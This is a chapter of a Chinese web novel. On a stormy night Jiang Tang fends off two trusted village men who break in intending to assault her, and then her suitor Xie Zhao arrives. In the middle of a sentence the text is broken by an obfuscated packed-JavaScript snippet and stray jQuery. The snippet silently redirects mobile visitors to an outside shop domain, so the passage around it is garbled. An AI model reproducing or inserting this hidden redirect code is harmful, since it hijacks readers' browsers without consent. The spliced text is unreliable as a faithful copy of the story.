轰隆隆。
天地一声惊雷惊醒了独坐沉思中的姜棠。
明氏早已离去,姜棠一个人在正屋里发呆。
她是真的不知该如何去求谢肇。
毕竟自己所拥有的,在谢肇那儿,或许不值一提,但不能因为他什么都不缺,你就理所应当享了别人的好意而故作不知。
总是要表示的。
可是怎么求呢?
姜棠是真的犯难。
这一犯难竟就到了到了夜幕降临的时候,若非被天雷惊醒,还不知道要在屋里枯坐到什么时候。
姜棠点燃油灯,站在窗外看外面。
天雷滚滚,银色闪电在天际不时划过,路过的风声也喧嚣许多,看老天爷这架势,今晚怕是要有一场声势浩大的雷雨了。
欣赏了一会儿老天爷的雷霆之怒,姜棠就赶着雨还没落下之前,先去后院把摊在外间的药材都收进了药房,仔细关好药房的门窗,确定没有任何遗漏之处,才又快步去了厨房,要安抚自己也跟着响起来的空空如也的肚子。
……
等大雨终于磅礴落下时,姜棠已经用过晚上,也沐浴完毕回了内间。
听着头顶大雨噼里啪啦砸在瓦片上的声音,姜棠正坐在了妆台前翻自己这些年累积下来的画册。
也不算是画册,是她这些年的念想。
她本就爱美,又知如今的自己不仅不能好好打扮,还得藏锋,还得融入人群。
可她确实爱华妆。
她想无所顾忌地打扮自己。
想清纯便清纯,想华丽便华丽,想张扬就张扬到底。
不被任何外因所限,只要我想,我就可以这么做。
她这些年一直都存着这样的期盼。
但是……
算了算了,姜棠很快就哄好了自己。
纵然现在不能拥有,心里想想还不成了?
这册子上画的,都是这些年她或偶然或特意去看的华彩衣料,个个都不是她这一个平头小老百姓可以上身的,但她总是存了那么一丝盼望,万一呢?
姜棠一页页翻过自己的画册,一一看过这两年里自己所有的心动之处,最后一页是从黄娘子那‘讹’来的织花缎子。
那匹缎子还好好在箱笼里存放着,而在画册之上,它已经从衣料变成了好看的衣裳,并且搭好了成套的首饰。
衣彩艳艳,金饰耀耀。
美极了。
可惜近日穿不了这身。
今儿去海家银楼给谢肇挑东西,他的东西倒是得了,但自己并无多少收获,金银首饰的款式都很粗糙,还都是去年的旧样式,没入自己的眼。
倒是选中了一套粉珠。
粉珠可爱,和这缎子一点都不搭,配不了。
不过没关系。
烛光下依旧白润的纤纤玉手在画册上连番数页,停在了一页粉色花海。
花海之中,身着桃夭仙裙的丽人正甜美微笑。
桃夭和粉珠,最是相宜了。
而这匹桃夭春裳的料子,也在自己箱笼里存着呢。
就算嫁给谢肇后这些衣服依旧不能在外人面前光明正大的穿着,那就在家穿,自得其乐也能把自己哄得很好。
反正时人都是这样的,明知魏紫渚黄之色只有少数阶层才能穿戴,但私下里,小有家私的人,谁家没有这两色的衣裳呢?
百姓私穿已成常态。
没人去举-报,因为一旦去举-报,那城里都空荡荡,全都得抓到大牢去。
上面的人对这个情况是睁一只眼闭一只眼,你在家自己乐呵也成,或者私人小宴穿出去也成,总之不要在正式场合穿就行了。
或许还能穿着漂亮衣裳和谢肇一起去人迹罕见处同游呢?
姜棠心情甚美地上了床榻。
…………
结果却是久久不能入眠。
不止是头顶动静愈发大的雨声扰人,还因为闭眼后,姜棠就一直在想到底要怎么求谢肇,他真的什么都不缺啊!
姜棠在床上翻来覆去睡不着,心下逐渐烦躁。
而心绪一旦烦躁,那周围一切都变得更加恼人,尤其是这雨声,下下下,下个没完。
这样大的动静,怕是外人在外面扯着嗓子敲门喊,里间都是听不到半点动静的!
等等。
在床上蛄蛹了好一会儿的姜棠,突然翻身坐了起来。
听不到动静?
是了,大雨天,尤其是雷雨天,真的能遮掩住太多痕迹了,鬼魅也都选在这样的天气在人间行走,因为不易察觉。
谁说只有那三个呢?
万一不止呢?
姜棠神色一凛,迅速把已经散下去的青丝束好,下床后扯了一件外裳套在身上,又穿好蓑衣戴上斗笠,打开了房门,踩着大雨去了后院。
一路检查自己的布置,机关都在。
就是后院大门的大门处,门下和门上撒好的迷药大约都被大雨给冲刷掉了,不过没关系,自己还有一层、一层再一层的后手。
姜棠不想把人心想得太坏,可自从自己一个人在这世间孤单长大,这些年她就深刻明白了一个道理:做事要往好处奔,结果要往最坏的地方想。
不然,活不长的。
前院只有篱笆没有院墙,那是因为左右都是真正的良善热情人家,喊一声他们就会热情来帮忙,前面还有干娘一家呢。
所以,真有鬼魅也不会从前院进屋。
至于后院,姜棠隔着厚厚的雨幕看着后院比寻常人家高出许多的院墙,不止高,还在上面种满了荆棘。
从外墙爬进来,还不等落地呢,身上就全是伤。
所以……
姜棠看着后院这还算厚重的木门,默默抓紧了手中的特制铁棍。
也不知在门后站了多久,在雨中浸泡许久的双足都快失去知觉,就在姜棠以为今夜会平安之际,她的耳尖一动,精准的捕捉到了,有别于雨声的其他动静。
声音是从门外传来的。
姜棠闭了闭眼,数息后再睁眼时,目色烈烈。
————
刘三熟练地撬门,同时还不忘再次警告一旁帮忙望风的许成,仗着大雨没人注意这边,他压根没控制声音,“说好了啊,我先,你可不许抢!”
许成一直看着四周,头也不回道:“你撬门你最得劲,让你先,行了吧,快点干活!”
呸。
进去之后谁先得手可不是他说了算!
这么嫩这么漂亮的小娘皮,第一次怎么能错过。
进去之后各凭本事!
正好,刘三也是这样想的。
他不再看许成,而是专心撬门,一边撬一边骂,这小娘皮怎么这般谨慎,这门也太难撬了些,若是其他人家,这会自己早就破门而入了!
折腾半晌,许成都没耐心观察周围了,只一个劲盯着刘三。
你行不行?
刘三咬着牙狠着劲,用力一撬。
咔哒一声。
门栓开了。
许成直接挤开刘三,迫不及待推开了木门就往里面跑,刘三见状暗骂了一声兔崽子也马上抬脚往里冲。
“嗷——”
先行两步的许成踩住了脚下的凹陷处,整个人小腿都陷了进去,没控制住身体,整个人直直倒了下去。
而急着追赶他的刘三也没防住这突然的意外,刹不住脚步,也一脚踩了进去,接着栽倒在了许成身上。
许成又是一声惨叫。
什么情况?
刘三正要撑着身子爬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766301|209705||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
起来,后颈忽然传来一阵剧痛,他两眼一翻,什么都没反应过来,瞬间失去了意识,彻底倒在了许成身上。
“你有病吧?你赶紧起来啊!”
被压在下面的许成扯着嗓子骂,骂了好几句才觉得身上一轻,他侧过头还要去骂起个身都磨磨唧唧的刘三,却见雨夜中,一个高举棍棒的身影,直直冲着自己砸了过来。
后脖不止传来了剧痛,还有什么异物刺入的感觉,许成来不及分辨这到底是什么,眼睛一翻,也跟着晕了过来。
雨声太大,纵然两人在门外说了许久的话,姜棠还是分辨不出这是谁的声音。
一人又补了一棍子,确定这两人昏的死死的,她才松开手中涂满药物的铁棍,蹲下去扣住面朝地的许成肩膀,用力一翻。
当姜棠彻底看清许成的脸时,姜棠瞳孔大震,不可置信地看了许成半晌,又快速侧头去看另一个。
刘三叔。
完全没想过会是这两人的姜棠,腿一软直接坐在了地上,蓑衣散了大半,斗笠也歪了,姜棠手一伸把这两撇开,任由自己在大雨下被冲刷。
她定定看这这两人。
这都是自己唤叔叔的人。
平日里虽寡言,但有事不用你开口,他都会主动帮忙,是村里人人赞扬称颂的老实人,甚至当初奶奶不在了,自己一个小孩子不知该怎么处理白事,除去干娘一家,出力最多的就是刘三叔。
他还帮自己修缮过屋子……
姜棠是真的没有想到,自己喊了多年叔叔的人,人皮底下,竟是这样的禽兽!
她真的宁愿是那些混混,真的!
……
茫茫大雨之中,同样不能安寝的谢肇,踩着雨幕急匆匆朝着甜梨村奔来,当他看到已经大敞的后院木门时,动作一顿,随即用最快的速度跑了过去。
姜棠心绪已经平静。
难过是真的。
不可置信也是真的。
但她从来不会让这样的情绪在身体停留太久,因为不值得,永远不要为了不值得的人去消耗自己的身心。
她正要撑地起身,耳畔忽闻急促而来的脚步声,她神色一定,迅速去摸一旁的铁棍,同时竭力忍住早已冰凉没知觉的双腿,急切地想要站起来。
同时在心里沉稳回想自己的后手布置。
没关系。
再来几波人自己也能把他们全都收拾了!
只可惜来人的动作实在太快,姜棠刚撑起半个身子,那人就已经来到了姜棠面前。
天际银色再次划过,雷声轰鸣之际,姜棠看清了眼前人。
是谢肇。
手中的力气一松,整个人又坐回了泥泞的地上,姜棠在自己急促几乎快跳出来的心跳声中,眯着眼仰头看谢肇。
“姜棠。”
率先出声的是还在大喘气的谢肇。
他的声音怒极了。
“现在知道害怕了?”
“你跟那么多人都可以说软话,不止这甜梨村的,那金水镇的娘子们,甚至是金掌柜,你都可以笑着服软。”
“为何独独不愿意对我说一句软话?”
若你愿意服软,不,不用服软,只要像对其他人一样,甜甜撒娇一句,今夜的情况就不会发生了!
姜棠眯着眼看谢肇。
雨确实太大了,没了闪电,她根本看不清谢肇此刻的神情,甚至他的脸也是模糊的。
没关系。
她听到了。
“谢肇。”
她看不清谢肇模样,但她冲着谢肇笑,周身形容狼狈极了,但不妨碍她的心情又好了起来。
她笑的很甜。
“连金掌柜你都知道。”
“谢肇。”
“你果然很早之前就注意到我了。”